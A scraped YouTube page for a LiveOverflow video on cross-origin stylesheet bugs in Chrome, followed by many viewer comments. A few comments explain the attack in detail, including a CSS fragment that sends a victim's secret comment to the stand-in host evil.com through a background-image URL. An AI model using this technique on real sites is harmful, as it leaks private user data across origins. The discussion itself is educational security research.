No video

The Curse of Cross-Origin Stylesheets - Web Security Research

  Рет қаралды 100,748

LiveOverflow

LiveOverflow

Күн бұрын

In 2017 a cool bug was reported by a researcher, which lead me down a rabbit hole to a 2014 and even 2009 bug. This provides interesting insight into how web security research looks like.
cgvwzq's Bug (2017): bugs.chromium....
filedescriptor's Bug (2014): bugs.chromium....
scarybeasts' Bug (2009): bugs.chromium....
GynvaelEN: / gynvaelen
Efail Stream: • Hacking Livestream #55...
=[ 🔴 Stuff I use ]=
→ Microphone:* geni.us/ntg3b
→ Graphics tablet:* geni.us/wacom-...
→ Camera#1 for streaming:* geni.us/sony-c...
→ Lens for streaming:* geni.us/sony-l...
→ Connect Camera#1 to PC:* geni.us/cam-link
→ Keyboard:* geni.us/mech-k...
→ Old Microphone:* geni.us/mic-at...
US Store Front:* www.amazon.com...
=[ ❤️ Support ]=
→ per Video: / liveoverflow
→ per Month: / @liveoverflow
=[ 🐕 Social ]=
→ Twitter: / liveoverflow
→ Website: liveoverflow.com/
→ Subreddit: / liveoverflow
→ Facebook: / liveoverflow
=[ 📄 P.S. ]=
All links with "*" are affiliate links.
LiveOverflow / Security Flag GmbH is part of the Amazon Affiliate Partner Programm.
#SecurityResearch

Пікірлер: 120
@hugowoesthuis
@hugowoesthuis 5 жыл бұрын
You should know that those 20 minutes feel like 5 minutes. Great job and keep em coming!
@LiveOverflow
@LiveOverflow 5 жыл бұрын
I’m glad! I was worrying it was too long
@elyaizen
@elyaizen 5 жыл бұрын
@@LiveOverflow holy crap they are very good, can't wait to see more videos like this.. 😯
@SkylarkMotion
@SkylarkMotion 5 жыл бұрын
20 minutes? 5 minutes? Which video did you watch? I'm sure this was a 2 minutes video
@leanobajio
@leanobajio 5 жыл бұрын
Reenactment of historic bug discussions, please!
@ExEBoss
@ExEBoss 5 жыл бұрын
Yes, I need this in my life.
@kuca5411
@kuca5411 5 жыл бұрын
Was about to comment the same thing :)
@taba1950
@taba1950 5 жыл бұрын
Yes please
@Emily_Entropy
@Emily_Entropy 5 жыл бұрын
I like the idea, but they need to be even more dramatic! With multiple voice actors over-acting poorly. I can help! I'm good at over-acting and I have a quality mic.
@jaanarturviirsalu7627
@jaanarturviirsalu7627 5 жыл бұрын
Reenactment for the win!
@noselund
@noselund 5 жыл бұрын
Took me way too long to realize that the intro animation is a buffer being overflowed.
@indycinema
@indycinema 3 жыл бұрын
I cannot believe you've been making videos like this for years and I just found you. Insane.
@DanielDogeanu
@DanielDogeanu 5 жыл бұрын
I am totally in favor of a stricter syntax. Let developers to receive 1 gazillion warnings and errors! I don't know why HTML and CSS has such relaxed syntax in the first place. Even noobs can write proper syntax if you make them.
@catlord69
@catlord69 5 жыл бұрын
when a software engineer talks about past: ...evolved historically ... *2009*
@serkandevel7828
@serkandevel7828 5 жыл бұрын
2:15 *But let's keep this bug Chrome-private whilst we debate what can be done (and protect our customers first:)* Chrome developers are very responsible
@p00lking
@p00lking 4 жыл бұрын
@@darkopz no need to advertise security issues though
@jonny6702
@jonny6702 3 жыл бұрын
@@p00lking This was not public before it was fixed. They don't and never have advertised security issues. They do however disclose all information about it once it is confirmed as being fixed in a security patch.
@fluffy_tail4365
@fluffy_tail4365 5 жыл бұрын
"the internet is broken because cross-domain" I'd say that this video proves that is broken because all the browser parsers are super lax to allow even the worst webdev do put out their garbage, which in turn allows more terrible devs to join the field successfully, thus perpetuating the cycle
@danielhd6719
@danielhd6719 5 жыл бұрын
i can agree that we get more and more seniors replaced by juniors because for business all that matters is whether it works and not if it is secure or a well thought solution
@Mjarlund
@Mjarlund 5 жыл бұрын
Stricter parsers would be great, it would force developers to write better and more secure web applications, but at this point it's hard to go from lax to strict parsing as it would probably break a lot of web applications - even big ones as the engineers mentioned. For now, all we can do is patch it up and pray it won't break before we get to the finish line (if it exists).
@derstreber2
@derstreber2 5 жыл бұрын
Yeah I had a little chuckle when he said that lax parsers make developer's lives easier. I would not be surprised if 50% or more of the security issues on the web are caused by the "convenience" of the code still running even though it has syntax errors. And I am sure it is incredibly fun writing code for different versions of different browsers, and not knowing when something fails, because it will, run what it can and skip what it can't. Uuuuggh. I am biased though, I prefer statically typed languages. Often times I wonder what the web would look like today if things had been different. I'm sure there would still be problems, after all, your regular C/C++ programs still have critical bugs from time to time. But I do think the amount would be substantially less if the web used languages with a stricter attitude when it comes to interpreting/compiling.
@robinsax585
@robinsax585 5 жыл бұрын
@@danielhd6719 or people age...
@yvrelna
@yvrelna 5 жыл бұрын
@@Mjarlund It shouldn't really be that difficult. The key here is that sites should be able to opt in for a stricter world. We had this part ways with XHTML Strict mode and with JS 'use strict'. CSS is the odd one out without a strict mode. I think it could be even better if servers could issue for strict interpretations whole sale using HTTP header. This way sites that know they can afford to be strict can take advantage of strictness, while sites that still had to catch up, can still do that.
@kkmetcom
@kkmetcom 5 жыл бұрын
I was having insomnia and I slept listening to your bug stories, thanks, you're perfect in many ways, this now is one of them
@suckmyduck7029
@suckmyduck7029 5 жыл бұрын
Captain America is now a renowned security researcher? Honestly, what feat has this man not accomplished?
@GoodBalak
@GoodBalak 5 жыл бұрын
I like how the fix in the end was a simple restriction to .css file type. Lol.
@shelvacu
@shelvacu 4 жыл бұрын
Is that really the solution? No secret data will ever be stored in a .css file?
@Alcosmos_
@Alcosmos_ 3 жыл бұрын
@@shelvacu Why would you store secret data in a .css in the first place? That would just be developer's fault
@_iphoenix_6164
@_iphoenix_6164 5 жыл бұрын
Fantastic video, as always. I really like the way that you showed the connections between the bug reports.
@justanormalperson
@justanormalperson 5 жыл бұрын
Good video, I really like watching these videos with popcorn.
@zanidd
@zanidd 5 жыл бұрын
I'm abou to steal your video idea about dramatic reenactment of bug history conversations
@thecodingethan
@thecodingethan 5 жыл бұрын
Mr. President, they've stolen all our nuclear codes... using Local HTML XSS CSS Vulnerabilities.
@XxGripeqxX
@XxGripeqxX 5 жыл бұрын
haha:D
@abbottabbott1120
@abbottabbott1120 5 жыл бұрын
This was really interesting / informative to watch. I would perhaps come across some of this on the web on in trackers and it would all go right over my head, having you explain it I now actually understand what was going on. Thank you!
@bandie9101
@bandie9101 4 жыл бұрын
"okay it's fixed by checking the content-type. case closed". and then they needed 3 years to ask the question: "what if there is no content-type header!? you know when our web browser happens to be a local file browser because «do one job, do it well» ... oh wait..."
@jwrm22
@jwrm22 5 жыл бұрын
Thanks for the explanation. The bounty is great for beer money but not to live from. You would need to find 2 of these bugs a month and get the guaranteed payout to survive.
@gFamWeb
@gFamWeb 5 жыл бұрын
This stuff is freaking fascinating. Thank you.
@galqiwi
@galqiwi 5 жыл бұрын
Thanks you 4 yours videos, it's very interesting to learn something new in such close-to-life subjects.
@lightblue254
@lightblue254 2 ай бұрын
Please do reenactments of historic bug discussions :D
@Rednesswahn
@Rednesswahn 5 жыл бұрын
Great stuff, I'd love to see more of this kind of stuff.
@nilstrieb
@nilstrieb 3 жыл бұрын
While at this point it's too late to change, browsers being so lax about everything was probably a terrible idea.
@damejelyas
@damejelyas 5 жыл бұрын
your video is like a music to my ears
@Dalwofbskworus
@Dalwofbskworus 5 жыл бұрын
Thank u for the subtitles!!!
@RandomNullpointer
@RandomNullpointer 5 жыл бұрын
Thanks for the subtitles, headache, and interesting mess :)
@aprilnya
@aprilnya 4 жыл бұрын
Can we have bug discussions in Ace Attorney style 😂
@the_rahn
@the_rahn 5 жыл бұрын
Very interesting and well explained, greetings from Spain!
@damejelyas
@damejelyas 5 жыл бұрын
at the end they used the basics to secure the mess (.css extension) nice one
@HarryBallsOnYa345
@HarryBallsOnYa345 5 жыл бұрын
This was really insightful!
@270jonp
@270jonp 5 жыл бұрын
once again, a awesome video.
@NinjaWarotMCph
@NinjaWarotMCph 5 жыл бұрын
This is so good. I'm not a security professional or HTML whiz, but I know how to make simple webpages with CSS. And that's how I got here. CSS is a bit hard, I know how convoluted the Net is, but this is different. Summing it all up, if the CSS/XML has an error, it opens a hole for the attack. Simple. Wah!
@ryuuji159
@ryuuji159 5 жыл бұрын
this is like 4chan green text stories but for engineers
@maddoggLP
@maddoggLP 5 жыл бұрын
> yes
@wheytomuchforher
@wheytomuchforher 5 жыл бұрын
Honestly, what do you think is the difference between 'engineers' and 'developers' these terms seem thrown around in the computer science world. For a reference I have a computer science degree, and I don't think of myself as an engineer. Just curious what are your thoughts on this distinction?
@Frank-zk5ru
@Frank-zk5ru 5 жыл бұрын
Software Engineer describes a certain type of work not a certification. There's lots of early Software Engineers who never got a CS or engineering degree and there's those who have either degree.
@Frank-zk5ru
@Frank-zk5ru 5 жыл бұрын
But I will add that some Engineers might take offense to people who call themselves Software Engineers especially Engineers from not software fields.
@samstaijen8766
@samstaijen8766 5 жыл бұрын
Am I the only one thinking of win XP at 5:05?
@ConfuSomu
@ConfuSomu 5 жыл бұрын
Nope
@Mr8lacklp
@Mr8lacklp 5 жыл бұрын
It seems like the general problem here is lax parsing, which not only leads to vulnerabilities with css but is also the origin of many other types of attacks such as some xss attacks. Wouldn't it be time now to introduce a strict parsing mode and after some warning period enforce it. Developers have time to rewrite their code in the warning period (which they should do anyways since depending on law interpreters is generally a bad idea) and after that the internet is a lot safer.
@CyberQuickYT
@CyberQuickYT 5 жыл бұрын
That's why every page source should be prettyfied
@sonulohani
@sonulohani 5 жыл бұрын
I like this channel very very much...
@mithushanjalangan5132
@mithushanjalangan5132 5 жыл бұрын
Bug discussion , me likey. Possible for you to do them ?
@hoxorious
@hoxorious 5 жыл бұрын
Another awesome video
@s379Ox
@s379Ox 5 жыл бұрын
Great video as always! And yes yes yes to more discussions.... Who are the two idiots that thumbed down the video?? Probably two SK's that thought he was going to give them a step-by-step directions on exploiting the bug. Lol.
@saplingqwason
@saplingqwason 5 жыл бұрын
that was fucking amazing. do more like this please!
@MatthijsvanDuin
@MatthijsvanDuin 5 жыл бұрын
Whenever I learn more about how the web works... I feel the need to shower.
@IsaiahGamers
@IsaiahGamers 5 жыл бұрын
Finally the videos that matter
@kumarvishalben
@kumarvishalben 5 жыл бұрын
Awesome thumbnail
@tobiasmayer4492
@tobiasmayer4492 5 жыл бұрын
I never understood "Path-relative style sheet import". Could i use them for attacks combined with this?
@alexnezhynsky9707
@alexnezhynsky9707 5 жыл бұрын
I don't understand the first bug. You load a css script that makes a call to evil.com with some hard coded url params? So what? How is it leaking any secret data?
@patrickwigmore3462
@patrickwigmore3462 5 жыл бұрын
I didn't understand it either at first, but I think I do now. The important thing is that the XML is not generated by an attacker or hosted on an attacker's server. The attacker only writes the CSS fragments that appear in the XML. 1. An attacker finds a web service to target, which generates XML files through an API. 2. The attacker submits user-generated content to the web service, containing the CSS fragments. 3. The web service makes the XML file containing the user generated CSS available through its API, as expected. 4. The attacker tricks a user of the target web service into visiting the attacker's own web page, which loads the XML from the target web service API as a stylesheet. 5. Because the "CSS" file is loaded from the target site, it uses the unsuspecting user's active authentication session for the target site (either through cookies or some other means), and so the secret comment that only the authenticated user should see is loaded as part of the "CSS" file. Crucially, if it had been loaded as an XML file, then, under same-origin policy, the attacker's site would not have been able to read its contents. 6. The CSS parser tries to interpret the XML file as CSS. As parsed, the background image URL for the body element contains the 'secret' content from the XML file. The browser doesn't actually have to request the background image from the server in order to leak the secret. The URL need not even point to a domain controlled by the attacker, which would risk revealing their identity. Javascript on the attacker's page can simply read the URL from the supposed "CSS" using window.getComputedStyle and then do whatever it likes with the information. The same-origin policy is thereby violated.
@callumwatkins2239
@callumwatkins2239 5 жыл бұрын
It helped for me to reformat the code example: blah { blah:0 } body { background-image: url('www.evil.com/ some secret comment ');} The XML is generated by an external uncontrolled API, but user data can be submitted. In this case the attacker carefully created two comments surrounding the comment of a legitimate user which they are unable to view. The two comments form the start and end of a valid CSS string, with the legitimate user's comment in the middle becoming part of a background-image URL. The attacker then embeds a link to this XML API within their own website but tells the browser to load it as CSS. When the API is accessed by an authenticated (with cookies) user it will return the XML shown above, with the secret data included. The attacker's CSS is then parsed and a GET request to evil.com is made with the secret data inside.
@WaraiOtoko
@WaraiOtoko 5 жыл бұрын
Why is this presented as a browser issue? Should the server not be responsible for preventing data leaks? For example 6:15 point 4. Do not send cookies. This is the browser deciding for the server whether to authenticate. This is not part the browser job, which is why this "probably breaks the internet". I know very little of internet protocols, but should the server not do something like this? if requested_resource.requires_authentication() then: if headers.origin == this_site && cookie.has_valid_credentials() then: serve(requested_resource) else: fail()
@linawhatevs8389
@linawhatevs8389 5 жыл бұрын
Doing cross-domain authenticated requests is a major part of the internet. Servers are unable to do "if headers.origin == this_site", because that would break most things the server is used for.
@nonchip
@nonchip 4 жыл бұрын
"a parser mode that depends on the origin would be confusing" in a discussion about the browser that disables half of javascript when loading it from plain http because "let'sencrypt is a thing, use it!" :'D just try developing a webrtc application without a valid certificate in your test environment, i dare ya :P fun fact: in fixing this bug (since they actually had to make it impossible for even scripts served from file:// to access file://) they broke a bunch of e.g. downloadable html based apps (usually things like games which need to load more data dynamically via xhr, such as unreal and godot engine web builds, but also the android ones mentioned in 19:17), but firefox does the same anyway, so for one game i built i just told people to download nwjs and drop it in the folder to give it a server :P because with things like same-origin one would reasonably expect that same logic to apply to file:// (e.g. using the path and treating everything in the same folder as the same origin) but you can't even be sure of that without a server that controls said origin. the exact error logged would then be something like: Access to XMLHttpRequest at 'file:///path/to/requested/data/file' from origin 'null' has been blocked by CORS policy: Cross origin requests are only supported for protocol schemes: http, data, chrome, chrome-extension, https. essentially, "file" doesn't provide an origin, thus CORS always fails. safe to say it took me a while to figure that one out when making that game :P
@chaosmagican
@chaosmagican 4 жыл бұрын
I just recently started Chrome with "--allow-file-access-from-file --disable-web-security" because the 1password anywhere HTML thingy didn't work and I needed it once in a lifetime because I was on the go without my hardware. Sometimes I wish that local file serving would get some more love. As you said, work out a folder based origin or something. We used to be able to create quite some useful tools with just a folder and some HTML/JS in it. Sure it can be malice but surely something could be done. If I could (with permission ofc, like with extensions) access the actual file system and invoke a command line utility (quasi a basic nodejs) I could reduce my big Electron app to a
@kiranprogamer
@kiranprogamer 5 жыл бұрын
Liked before watching
@MegaKalkas
@MegaKalkas 3 жыл бұрын
Can someone explain the thing on 4:00? I'm kind of a (but not total) noob and not an english speaker :)
@sandeshkhadka2687
@sandeshkhadka2687 3 жыл бұрын
I have no idea what he is talking about still I am watching if I understand this :)
@nion456789
@nion456789 5 жыл бұрын
Smashed the like
@ShaneeVanstone
@ShaneeVanstone 5 жыл бұрын
Awesome!
@tomasgemes4349
@tomasgemes4349 5 жыл бұрын
@LiveOverflow Pleasee do moreee of this!
@sripradpotukuchi9415
@sripradpotukuchi9415 4 жыл бұрын
This is overwhelming me. It just takes time to learn this stuff maybe?
@pzmarzly
@pzmarzly 5 жыл бұрын
I learned about your channel about 2 years ago from Gynvael's video, now we have a circle. Sadly, Gynvael's 2 books about reverse engineering aren't translated into English AFAIK, but I recommend reading his posts in "Coding" section on his page gynvael . coldwind . pl (OOP in BAT, syscalling without glibc, "Automagical function list in C++", "Why NULL points to 0?" (it can be valid pointer))
@almarc
@almarc 5 жыл бұрын
I feel like i have to immidietly stop working in this sphere every time i see a video like this. What if i mess up, sell an insecure product to a big company and they get hacked and sue me? :c
@silverzero9524
@silverzero9524 5 жыл бұрын
lol
@Tudorgeable
@Tudorgeable 5 жыл бұрын
You may be too small of a cog in said big company's product use case to bear responsibility for whatever security hole you create. With errors come more jobs created for fixing said error, you could put it in a positive light this way :)
@almarc
@almarc 5 жыл бұрын
@@Tudorgeable Totally makes sense :)
@dummypg6129
@dummypg6129 5 жыл бұрын
How are you related with 2minute papers?
@LiveOverflow
@LiveOverflow 5 жыл бұрын
Not at all?
@AlexVasiluta
@AlexVasiluta 5 жыл бұрын
Nice
@mix3k818
@mix3k818 5 жыл бұрын
dat furry thumbnail tho
@TheOnlyGeggles
@TheOnlyGeggles 5 жыл бұрын
his drawing skills have definitely improved
@LiveOverflow
@LiveOverflow 5 жыл бұрын
I’m cheating. Tracing other pictures.
@TheOnlyGeggles
@TheOnlyGeggles 5 жыл бұрын
LiveOverflow Now that's disappointing, I was just about to ask for a $200 yiff commission :^)
@mix3k818
@mix3k818 5 жыл бұрын
@@TheOnlyGeggles Oh my, oh my. That one comment just made the purest like 25% of the furry community cry and be disappointed at you.
@TheOnlyGeggles
@TheOnlyGeggles 5 жыл бұрын
MiREK Well, I mean the animation at 5:09 in the video does kind of make it seem like a tease, so it wouldn't be too big of a leap to think he would draw NSFW stuff...
@matthewnewton8630
@matthewnewton8630 3 жыл бұрын
Lmfao a mess, my newbie friend you have Nooooo idea
@RnBandCrunk
@RnBandCrunk 5 жыл бұрын
curse inside a curse?🤔
@user-cx5jj3zq1r
@user-cx5jj3zq1r 5 жыл бұрын
another bug discustion please :3
@AlexxxMurkin
@AlexxxMurkin 5 жыл бұрын
Restrictions rule the world. Sad.
@thecodingethan
@thecodingethan 5 жыл бұрын
This is so sad, Alexxx play despacito.
@Asdayasman
@Asdayasman 5 жыл бұрын
Aah wonderful, my favourite hashtag. #InternetOfShit
@HOWZ1T
@HOWZ1T 5 жыл бұрын
Was that grassy field a reference to Windows XP wallpaper ? Hmmmm
@pimp2570
@pimp2570 5 жыл бұрын
I dont understand this 😂😂😂
@naumanbackupstests746
@naumanbackupstests746 Жыл бұрын
I understand shit
@fosefx
@fosefx 5 жыл бұрын
Didn't have it in the Subbox, thanks KZfaq
@christian123542
@christian123542 5 жыл бұрын
Nice pride flag easteregg :D
@matrix8934
@matrix8934 5 жыл бұрын
It's just a rainbow
@niter43
@niter43 5 жыл бұрын
@@matrix8934 it's not
@JochemKuijpers
@JochemKuijpers 5 жыл бұрын
Matrix 89 a six-colored-rainbow in the exact colors of the pride flag
@christian123542
@christian123542 5 жыл бұрын
Jochem Kuijpers that landed there by accident because this is the first thing you think of when drawing a sketch of imgur
@LemonChieff
@LemonChieff 5 жыл бұрын
Hello World Is good enough for Chrome and Safari to display the page… (haven't test other browsers tbh but I'm convinced this applies) Note that there is a new line at the end… This is to avoid tags not to be closed by the some html parsers (Notably some webkit browser) This is why html and css aren't programing languages. They aren't even scripting languages like js and python… I say that but `main(){if(write(1, "hello world", 15)) {} } ` will compile on posix platforms using gcc and actually is valid c89 And here is the proper way to do it before someone who did C in school "corrects" me: ` #include int main(void) { puts("Hello, world"); } /* Any C file must end with a newline. */ ` Before you tell me "err derp your main doesn't return 0;" go read this: www.open-std.org/jtc1/sc22/wg14/www/docs/n1570.pdf Yes, it does, in fact it doesn't return 0 but EXIT_SUCCESS which is macro that should extend to the value 0.
HOW FRCKN' HARD IS IT TO UNDERSTAND A URL?! - uXSS CVE-2018-6128
15:47
XS-Search abusing the Chrome XSS Auditor - filemanager 35c3ctf
13:16
OMG what happened??😳 filaretiki family✨ #social
01:00
Filaretiki
Рет қаралды 13 МЛН
Logo Matching Challenge with Alfredo Larin Family! 👍
00:36
BigSchool
Рет қаралды 22 МЛН
Unveiling my winning secret to defeating Maxim!😎| Free Fire Official
00:14
Garena Free Fire Global
Рет қаралды 7 МЛН
The Discovery of Zenbleed ft. Tavis Ormandy
19:43
LiveOverflow
Рет қаралды 61 М.
Don't trust time
9:49
LiveOverflow
Рет қаралды 298 М.
Reinventing Web Security
20:37
LiveOverflow
Рет қаралды 39 М.
Hacking Google Cloud?
21:59
LiveOverflow
Рет қаралды 123 М.
The Circle of Unfixable Security Issues
22:13
LiveOverflow
Рет қаралды 113 М.
Cracking Websites with Cross Site Scripting - Computerphile
8:34
Computerphile
Рет қаралды 1,5 МЛН
Where People Go When They Want to Hack You
34:40
CyberNews
Рет қаралды 1,5 МЛН
My YouTube Financials - The Future of LiveOverflow
35:00
LiveOverflow
Рет қаралды 104 М.
Harder Drive: Hard drives we didn't want or need
36:47
suckerpinch
Рет қаралды 1,6 МЛН
Next Gen Hackers protecting our world
57:39
David Bombal
Рет қаралды 119 М.
OMG what happened??😳 filaretiki family✨ #social
01:00
Filaretiki
Рет қаралды 13 МЛН